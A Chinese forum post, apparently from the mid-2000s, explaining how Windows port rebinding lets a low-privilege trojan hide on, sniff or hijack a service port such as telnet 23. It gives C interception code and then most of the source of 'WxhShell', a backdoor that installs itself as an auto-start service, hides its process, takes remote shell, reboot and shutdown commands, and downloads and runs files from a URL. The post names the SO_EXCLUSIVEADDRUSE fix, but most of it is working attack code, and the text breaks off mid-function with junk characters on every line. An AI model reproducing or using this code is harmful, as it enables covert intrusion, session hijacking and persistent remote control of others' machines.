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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hL{KRRf>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8Fu(Ft^9  
"<1{9  
  saddr.sin_family = AF_INET; /(*q}R3Kfo  
!l8PDjAE  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :crW9+  
0'C1YvF  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); dR,fXQm  
29.h91  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?k{?GtSs  
z Rr*7G  
  这意味着什么?意味着可以进行如下的攻击: |)v,2  
]{@-HTt  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _Y;W0Z  
S2&4g/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) + =</&Tm  
%7.30CA|#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hRhe& ,v  
<PH #[dH  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ggR.4&<  
HIZe0%WPw  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Kn1a>fLaJ_  
E ~<JC"]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 rjYJs*#  
G_,jgg7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 OQJ6e:BGt  
-FaJ^CN~  
  #include %>{0yEC  
  #include Tyx_/pJT  
  #include /82b S|  
  #include    s.C_Zf~3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &V/Mmm T  
  int main() *z8\Lnv~k  
  { k5pN  
  WORD wVersionRequested; %* }(}~  
  DWORD ret; 2\{zmc}G-0  
  WSADATA wsaData; uK Hxe~  
  BOOL val; M8(t 'jN  
  SOCKADDR_IN saddr; 4H&+dR I"  
  SOCKADDR_IN scaddr; 37o; ;  
  int err; "^%cJAnLX  
  SOCKET s; jNk%OrP]  
  SOCKET sc; l]8uk^E  
  int caddsize; VMWf>ZU  
  HANDLE mt; 0@oJFJrO  
  DWORD tid;    2JBR)P  
  wVersionRequested = MAKEWORD( 2, 2 ); *$g-:ILRuZ  
  err = WSAStartup( wVersionRequested, &wsaData ); uVrd i?3  
  if ( err != 0 ) { +CNv l  
  printf("error!WSAStartup failed!\n"); ( a#BV}=  
  return -1; v.qrz"98-  
  } &tj!*k'  
  saddr.sin_family = AF_INET; 4.t-i5  
   %EB/b  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ysv" 6b}  
ew4U)2J+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Gk6iIK  
  saddr.sin_port = htons(23); >z@0.pN]7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZJiG!+-j  
  { S)@j6(HC4  
  printf("error!socket failed!\n"); G4"F+%.  
  return -1; 5r ^(P  
  } o66}yJzmD  
  val = TRUE; xJ.M;SF4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 utV_W&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) IH+|}z4N?>  
  { UkFC~17P  
  printf("error!setsockopt failed!\n"); Z,PPu&lmE/  
  return -1; nqUV  
  } Zj'9rXhrM1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Z *x'+X  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 j0q&&9/Jj  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 CpT jJXb  
#%O0[kd  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l.M0`Cn-%  
  { U 6)#}   
  ret=GetLastError(); h/Y'<:  
  printf("error!bind failed!\n"); Lr pM\}t  
  return -1; scV5PUq  
  } 1?l1:}^L  
  listen(s,2); SOIN']L|V[  
  while(1) do'GlU oMC  
  { 'LDQgC*%  
  caddsize = sizeof(scaddr); \s\?l(ooq"  
  //接受连接请求 wUJcmM;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P]C<U aW'!  
  if(sc!=INVALID_SOCKET) G' 1'/  
  { =Dj#gV  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V !~wj  
  if(mt==NULL) xyXa .  
  { xskz) kk  
  printf("Thread Creat Failed!\n"); 3Jn ;}  
  break; 2&cT~ZX&'  
  } gs`q6 f%(  
  } #GFr`o0$^  
  CloseHandle(mt); @2i9n  
  } <:CkgR$/{  
  closesocket(s); -mh3DhJ,  
  WSACleanup(); 'V>-QD%1  
  return 0; M"L=L5OH-  
  }   RxQ*  
  DWORD WINAPI ClientThread(LPVOID lpParam) /yZcDK4  
  { Dw"\/p:-3  
  SOCKET ss = (SOCKET)lpParam; ;n;p@Uu[ b  
  SOCKET sc; Q/Rqa5LI:  
  unsigned char buf[4096]; h{qgEIk&  
  SOCKADDR_IN saddr; 8eRLy/`gd  
  long num; #<xm.  
  DWORD val; 6aj!Q*(WT  
  DWORD ret; /x *3}oI  
  //如果是隐藏端口应用的话,可以在此处加一些判断 v"0J&7!J  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   DHRlWQox  
  saddr.sin_family = AF_INET; -Lg Ei3m  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f6p/5]=J26  
  saddr.sin_port = htons(23); dc'Y `e  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) izR"+v  
  { -nwypu  
  printf("error!socket failed!\n"); qe\5m.k  
  return -1; $/ ],tSm  
  } |uJ%5y#  
  val = 100; Dha1/g1q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  ~$J2g  
  { ia? c0xL  
  ret = GetLastError(); B)UZ`?>c  
  return -1; w32y3~  
  } 9- # R)4_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fN2lLn9/u  
  { CvdN"k  
  ret = GetLastError(); -:rUw$3J  
  return -1; wuo,kM  
  } 8 FhdN  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) iURe([@  
  { B-mowmJ3dg  
  printf("error!socket connect failed!\n"); }-2|XD%]  
  closesocket(sc); |':{lH6+1  
  closesocket(ss); Y4YJJYvD  
  return -1; .RL=xb|[  
  } {4PwLCy  
  while(1) 9tnD=A<PS  
  { !n%j)`0M  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 D6Wa.,r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2&5K. Ui%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 H,NF;QPPC  
  num = recv(ss,buf,4096,0); &M[?h}B6  
  if(num>0) Alq(QDs  
  send(sc,buf,num,0); qxj(p o  
  else if(num==0) jb)ZLA;L_c  
  break; *NQ/UXE  
  num = recv(sc,buf,4096,0); \)Cl%Em  
  if(num>0) v` r:=K  
  send(ss,buf,num,0); phz&zl D  
  else if(num==0) FGkVqZ Y2?  
  break; |l!aB(NW  
  } 7[wPn`v2  
  closesocket(ss); dF2RH)Ud  
  closesocket(sc); D/' dTrR  
  return 0 ; Qg/rRiV  
  } ss-D(K"  
e:W{OIz:  
6MI8zRX  
========================================================== ,"ql5Q4  
"Rl}VeDY  
下边附上一个代码,,WXhSHELL K<J9 ~  
DaVa}  
========================================================== LIrb6g&xj_  
T^q 0'#/  
#include "stdafx.h" L: x-%m%w  
:E?V.  
#include <stdio.h> #A.@i+Zv  
#include <string.h> 54qFfN8O  
#include <windows.h> fc@A0Hf  
#include <winsock2.h> 13 wE"-  
#include <winsvc.h> 048kPXm`  
#include <urlmon.h> XX~,>Q}H=  
M^I(OuRMeI  
#pragma comment (lib, "Ws2_32.lib") hv+zGID7  
#pragma comment (lib, "urlmon.lib") PI<vxjOK`  
1YMh1+1  
#define MAX_USER   100 // 最大客户端连接数 2T`!v  
#define BUF_SOCK   200 // sock buffer ~)'k 9?0  
#define KEY_BUFF   255 // 输入 buffer rM "l@3hP  
c[e}w+ uB  
#define REBOOT     0   // 重启 1:wQ.T  
#define SHUTDOWN   1   // 关机 i6N',&jFU  
-$@h1Y  
#define DEF_PORT   5000 // 监听端口 .e5Mnd%$M  
NEF# }s2=  
#define REG_LEN     16   // 注册表键长度 jh$='Gn  
#define SVC_LEN     80   // NT服务名长度 et+0FF ,  
P|> ~_$W  
// 从dll定义API ?fS9J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PaN"sf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N uI9iU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QCJM&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oXS}IL og'  
H[|~/0?K  
// wxhshell配置信息 ?1".;foZ  
struct WSCFG { _XT pU  
  int ws_port;         // 监听端口 /7LR;>Bj  
  char ws_passstr[REG_LEN]; // 口令 -^wl>}#*T3  
  int ws_autoins;       // 安装标记, 1=yes 0=no hzC>~Ub5  
  char ws_regname[REG_LEN]; // 注册表键名 r_.S>]  
  char ws_svcname[REG_LEN]; // 服务名 *$*ce|V5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Vz[C=_m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a: K[ y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CH/rp4NeSy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t >sE x:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8$|=P!7EO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )CyS#j#=  
F&Hrk|a  
}; F<w/PMb  
ZG@q`<:j  
// default Wxhshell configuration IM+ o.@f-  
struct WSCFG wscfg={DEF_PORT,  LIdF 0  
    "xuhuanlingzhe", Hr4}3.8  
    1, O1kl70,`R  
    "Wxhshell", L4f3X~8,b  
    "Wxhshell", 9C i-v/M]  
            "WxhShell Service", cGD(.=  
    "Wrsky Windows CmdShell Service", BPHW}F]X  
    "Please Input Your Password: ", yppo6HGD  
  1, D3A/l  
  "http://www.wrsky.com/wxhshell.exe", 5M_H NWi4  
  "Wxhshell.exe" p<;0g9,1  
    }; ,Lt[\_  
iyog`s c  
// 消息定义模块 Xry4 7a )  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %07SFu#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l@:0e]8|o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $mB;K]m  
char *msg_ws_ext="\n\rExit."; PxE3K-S)G  
char *msg_ws_end="\n\rQuit."; Lh<).<S  
char *msg_ws_boot="\n\rReboot..."; [1KuzCcK}  
char *msg_ws_poff="\n\rShutdown..."; bu"!jHPB  
char *msg_ws_down="\n\rSave to "; 0|b>I!_"g  
&VcV$8k  
char *msg_ws_err="\n\rErr!"; ]+$?u&0?w  
char *msg_ws_ok="\n\rOK!"; W}1 ;Z(.*  
Tb-F]lg$  
char ExeFile[MAX_PATH]; .}*" Nv  
int nUser = 0; wvPk:1wD5  
HANDLE handles[MAX_USER]; i 3SHg\~Z  
int OsIsNt; ;S*}WqP,  
m#F`] {  
SERVICE_STATUS       serviceStatus; 9)=ctoZ'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ei{eTp4HpV  
 f V(J|  
// 函数声明 YnP5i#"  
int Install(void); cs'{5!i]  
int Uninstall(void); wa3}SB  
int DownloadFile(char *sURL, SOCKET wsh); OUXR  
int Boot(int flag);  rXU\  
void HideProc(void); ?R#)1{(8d~  
int GetOsVer(void); Xs?o{]Fe  
int Wxhshell(SOCKET wsl); <d_!mKw  
void TalkWithClient(void *cs); C'X!\}f.b/  
int CmdShell(SOCKET sock); :a)u&g@G  
int StartFromService(void); Oc; G(l(  
int StartWxhshell(LPSTR lpCmdLine); 4a]P7fx-  
]g&TKm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y^%y<~f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); AzxXB  
ofv)SCjd  
// 数据结构和表定义 tnG# IU *  
SERVICE_TABLE_ENTRY DispatchTable[] = NN`uI6=  
{ {.\TtE  
{wscfg.ws_svcname, NTServiceMain}, #C3.Jef  
{NULL, NULL} -D$8  
}; O8.5}>gDn.  
i7>tU=  
// 自我安装 r0gJpttDl  
int Install(void) ?K\axf>F  
{ ZQ0F$J)2~  
  char svExeFile[MAX_PATH]; :08,JL{  
  HKEY key; }Z,x~G  
  strcpy(svExeFile,ExeFile); IB7E}56l  
# Vha7  
// 如果是win9x系统,修改注册表设为自启动 Qz N&>sk"  
if(!OsIsNt) { E\,-XH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1y4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^`>/.gL  
  RegCloseKey(key); $p?aVO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {!dVDf_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !I Qck8Y  
  RegCloseKey(key); Y.r+wc]  
  return 0; h2""9aP !  
    } 5[u]E~Fl}  
  } ,WB{i^TD  
} (*)hD(C5  
else { hfy_3}_  
"6?0h[uff  
// 如果是NT以上系统,安装为系统服务 {,~3.5u   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J6aef ^>  
if (schSCManager!=0) & 9 ?\b7  
{ [1 9,&]z  
  SC_HANDLE schService = CreateService 2('HvH]k  
  ( Hg$lXtn]  
  schSCManager, w G<yBI0  
  wscfg.ws_svcname, 46&/gehr  
  wscfg.ws_svcdisp, /d<P-!fK  
  SERVICE_ALL_ACCESS, ~La>?:g <+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <yFu*(Q  
  SERVICE_AUTO_START, X*Prll(  
  SERVICE_ERROR_NORMAL,  'CkIz"Wd  
  svExeFile, H}bJ"(9$vC  
  NULL, v-_e)m^  
  NULL, vOpK Np  
  NULL, 7s{GbU\  
  NULL, <<R*2b  
  NULL kq,ucU%>p  
  ); e&aWq@D  
  if (schService!=0) r? E)obE  
  { Da&]y  
  CloseServiceHandle(schService); 8q}q{8  
  CloseServiceHandle(schSCManager); V /V9B2.$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BKjS ,2C  
  strcat(svExeFile,wscfg.ws_svcname); 7Da`   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h{HHLR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k{SAvKx=  
  RegCloseKey(key); d,n 'n  
  return 0; &@Be2!%'9K  
    } Y\?"WGL)p  
  } >e[i5  
  CloseServiceHandle(schSCManager); VZmLS 4E  
} ByNn  
} D\NKC@(M  
l&Q`wR5e  
return 1; h'&%>Q2  
} W+ko q*P  
Y^EcQzLw  
// 自我卸载 i5Yb`Z[Y  
int Uninstall(void) l#Y,R 0  
{ X LOh7(  
  HKEY key; D2B%0sfl~  
k5.Lna  
if(!OsIsNt) { X))/ m[_[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <s<n  
  RegDeleteValue(key,wscfg.ws_regname); KEjWRwN  
  RegCloseKey(key); O5nD+qTQ#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .MoU1n{Yc  
  RegDeleteValue(key,wscfg.ws_regname); ]a*d#  
  RegCloseKey(key); 0*D$R`$  
  return 0; %.-4!vj  
  } GM f `A,>  
} T&u5ki4NE  
} z !rL s76  
else { *kDCliL  
Cl8Cg~2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fN^8{w/O  
if (schSCManager!=0) \B,@`dw  
{ iE^84l68  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G.a bql  
  if (schService!=0) h-<81"}j1  
  { pm0{R[:T7  
  if(DeleteService(schService)!=0) { Ata:^qI  
  CloseServiceHandle(schService); 1+{{EOZ4  
  CloseServiceHandle(schSCManager); %oa-WmWm  
  return 0; *Y7u'v  
  } W_(j3pV?Ml  
  CloseServiceHandle(schService); E GU 0)<  
  } X296tA>C`  
  CloseServiceHandle(schSCManager); 9BBmw(M}  
} kr:^tbJ  
} a:IC)]j$_  
EF}\brD1  
return 1; nIy}#MUd|q  
} Y}|X|!0x  
" h~Z u  
// 从指定url下载文件 CiLg]va   
int DownloadFile(char *sURL, SOCKET wsh) `1{ZqRFQ  
{ F]]]y5t  
  HRESULT hr; /,&<6c-Q@W  
char seps[]= "/"; =O_4|7Zl  
char *token; `l){!rg8IC  
char *file; KD7dye  
char myURL[MAX_PATH]; Tg)| or/ %  
char myFILE[MAX_PATH]; O6a<`]F  
wX5tp1 ?1J  
strcpy(myURL,sURL); ipgC RHE  
  token=strtok(myURL,seps); j8{i#;s!"  
  while(token!=NULL) qqr?!vem6  
  { suiS&$-E  
    file=token; /dQl)tL  
  token=strtok(NULL,seps); Jg\zdi:t  
  } j0S# >t  
)SRefW.v  
GetCurrentDirectory(MAX_PATH,myFILE); Gm.T;fc:  
strcat(myFILE, "\\"); u jq=F  
strcat(myFILE, file); 9gEwh<  
  send(wsh,myFILE,strlen(myFILE),0); ?; +1)>{  
send(wsh,"...",3,0); )E@.!Ut4o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JNYFD8J~  
  if(hr==S_OK) z] P SpUd  
return 0; }mq6]ZrK  
else wyj{zWRJp  
return 1; BsqP?/  
(X1e5j>Ru  
} 37 ,  
5Y'qaIFR  
// 系统电源模块 n:\~'+$  
int Boot(int flag) xH(lm2kvT  
{ _j/<{vSy  
  HANDLE hToken; #TX/aKr:  
  TOKEN_PRIVILEGES tkp; E+R1 !.  
)Y6 +  
  if(OsIsNt) { mD0f<gJ1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ith 3 =`3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Bp`]  
    tkp.PrivilegeCount = 1; A8fOQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $i}y8nlQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RJ ||}5  
if(flag==REBOOT) { aS{n8P6vW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;I 9&]   
  return 0; 6YLj^w] %  
} 5k3b3&  
else { !&ayYu##{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bv9i*]  
  return 0; gG:Vt}N  
} EQyC1j  
  } LX7FaW  
  else { '4Ixqb+  
if(flag==REBOOT) { B^Nf #XN(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;R5`"`  
  return 0; %C'?@,7C  
} &Gn 2tr  
else { 6]_pIf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]kG"ubHV?h  
  return 0; zyc"]IzOU  
} c~$)UND^  
} o]` *M|  
@+M /&  
return 1; KL:j?.0  
} X_ cV%#  
{M$1N5Eh  
// win9x进程隐藏模块 !M]uL&:  
void HideProc(void) z(exA  
{ nntuLuW  
>#;.n(y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?WUA`/[z  
  if ( hKernel != NULL ) c74.< @w  
  { `d +Da=L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YTX,cj#D^&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kg~mgMR+w  
    FreeLibrary(hKernel); L9 \1+rq  
  } FLCexlv^  
,j}6? Q  
return; 5C*Pd Wpl  
} t#/YN.@r  
 ZrxD`1L  
// 获取操作系统版本 P[#e/qnXu|  
int GetOsVer(void) b#Z{{eLny  
{ V>%rv'G8  
  OSVERSIONINFO winfo; Ic:(Gi- %  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dvx#q5f_S  
  GetVersionEx(&winfo); }DE g-j,F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B5VKs,g  
  return 1; e7r -R3_  
  else 9ni1f{k  
  return 0; C'@i/+  
} Ae^~Cz1qz  
#$+*;  
// 客户端句柄模块 } FlT%>Gw  
int Wxhshell(SOCKET wsl) p8H'{f\G  
{ -.@r#d/  
  SOCKET wsh; A*R^n}sh  
  struct sockaddr_in client; ZW8vza  
  DWORD myID; y8Z_Itlf  
}wjw:M  
  while(nUser<MAX_USER) "3"V3w  
{ cAqLE\h  
  int nSize=sizeof(client); vq0Tk bzs  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `$<.pOm  
  if(wsh==INVALID_SOCKET) return 1; Nk 8B_{  
7Lc]HSZo,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )?n aN  
if(handles[nUser]==0) o>i4CCU+  
  closesocket(wsh); A5RN5`}  
else 4*#18<u5  
  nUser++; qI9z;_,gNz  
  } K5VWt)Z#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m6K}|j  
6NuD4Ga  
  return 0; S_4?K)n #  
} K.nHii   
(sTpmQx,b  
// 关闭 socket Y>T-af49  
void CloseIt(SOCKET wsh) $}q23  
{ 4Zddw0|2  
closesocket(wsh); LTCb@L{^i  
nUser--; #s( BuVU  
ExitThread(0); T_ <@..C  
} S9D<8j^  
@|m/djN5x  
// 客户端请求句柄 oUr66a/[U  
void TalkWithClient(void *cs) f4b/NG|  
{ $q{!5-e  
Y;Dp3v !  
  SOCKET wsh=(SOCKET)cs; m%?pf2%I#  
  char pwd[SVC_LEN]; xY8$I6  
  char cmd[KEY_BUFF]; Jbg/0|1  
char chr[1]; J26 VnK  
int i,j; A_ZY=jP   
 6f>{"'  
  while (nUser < MAX_USER) { 9Cp-qA%t  
)5JFfp)#  
if(wscfg.ws_passstr) { |?xN\O^#}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EIAc@$4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M,,bf[p$  
  //ZeroMemory(pwd,KEY_BUFF); SrJGTuXg  
      i=0; -%CP@dAk  
  while(i<SVC_LEN) { Rz/gtEP  
P[ck84F/  
  // 设置超时 P {jbl!UD7  
  fd_set FdRead; {.|CdqwY  
  struct timeval TimeOut; XS{Qnx_#  
  FD_ZERO(&FdRead); B eo@K|3GN  
  FD_SET(wsh,&FdRead); Tc:)- z[o  
  TimeOut.tv_sec=8; P%VSAh\|n  
  TimeOut.tv_usec=0; ({)+3]x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mb3"U"ohs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4Uo&d#o)C-  
cn3\kT*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); su( 1<S}  
  pwd=chr[0]; rJT a  
  if(chr[0]==0xd || chr[0]==0xa) { F6|]4H.3Q  
  pwd=0;  RVmh6m  
  break; [Ek7b *  
  } o5GcpbZ3k  
  i++; (@VMH !3  
    } LEf^cM=>  
 vF+7V*<  
  // 如果是非法用户,关闭 socket n\D&!y[]F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vX"*4m>b?+  
} ~<5!?6Yt  
"| g>'wM*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9YyLf;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); At>DjKx]O  
U&OJXJd j  
while(1) { T2W eE@o  
g2ixx+`?|:  
  ZeroMemory(cmd,KEY_BUFF); Y('#jU  
hH 3RP{'=  
      // 自动支持客户端 telnet标准   {9pZ)tB  
  j=0; L}b.ulkMD  
  while(j<KEY_BUFF) { !hy-L_wL]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zxl@(h d  
  cmd[j]=chr[0]; Vwf$JdK%&l  
  if(chr[0]==0xa || chr[0]==0xd) { 3M7/?TMw{6  
  cmd[j]=0; H@>` F  
  break; i$#;Kpb`^  
  } 5H9z4-i x?  
  j++; lNh70G8^p  
    } AKfDXy  
8MtGlW%Eh  
  // 下载文件 "m8^zg hL  
  if(strstr(cmd,"http://")) { @n /nH?L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'sKk"bi;0  
  if(DownloadFile(cmd,wsh)) $( kF#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "|q& ea rc  
  else #q$HQ&k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O _ gGf  
  } ZvX*t)VjTz  
  else { _6hQ %hv8  
G j?t_Zln  
    switch(cmd[0]) { exUFS5d  
  |aS.a&vwR  
  // 帮助 b. '-?Nn  
  case '?': { P3=G1=47U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RSRS wkC  
    break; 3jU&zw9  
  } -d/ =5yxL  
  // 安装 Hzz %3}E  
  case 'i': { yx[/|nZDC4  
    if(Install()) '<)n8{3Q5w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eC4[AX6e  
    else L`TLgH&?R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U< fGGCw  
    break; r Z$O?K  
    } Of#u  
  // 卸载 +TL%-On  
  case 'r': { pah'>dAL  
    if(Uninstall()) K@]4g49A/j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T&bY a`f]  
    else Dml;#'IF3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v;{#Q&(  
    break; _;y9$"A  
    } Dx?,=~W9  
  // 显示 wxhshell 所在路径 LonxT&"!D  
  case 'p': { Bk c4TO  
    char svExeFile[MAX_PATH]; >Cp0.A:UC#  
    strcpy(svExeFile,"\n\r"); uH^-R_tQ  
      strcat(svExeFile,ExeFile); jB2[(  
        send(wsh,svExeFile,strlen(svExeFile),0); v{4$D~I  
    break;  K5h  
    } t =iIY`Md%  
  // 重启 <xm7qmqI  
  case 'b': { %wy.TN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >]TWXmx/w  
    if(Boot(REBOOT)) 9.-S(ZO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C{rcs'  
    else { hi( ;;C9  
    closesocket(wsh); 2F.;;Ab  
    ExitThread(0); M7~2iU<#  
    } 9cF[seE"0  
    break; ]%H`_8<gc  
    } q54]1TQ  
  // 关机 tDcT%D {:  
  case 'd': { q<|AZ2Ai  
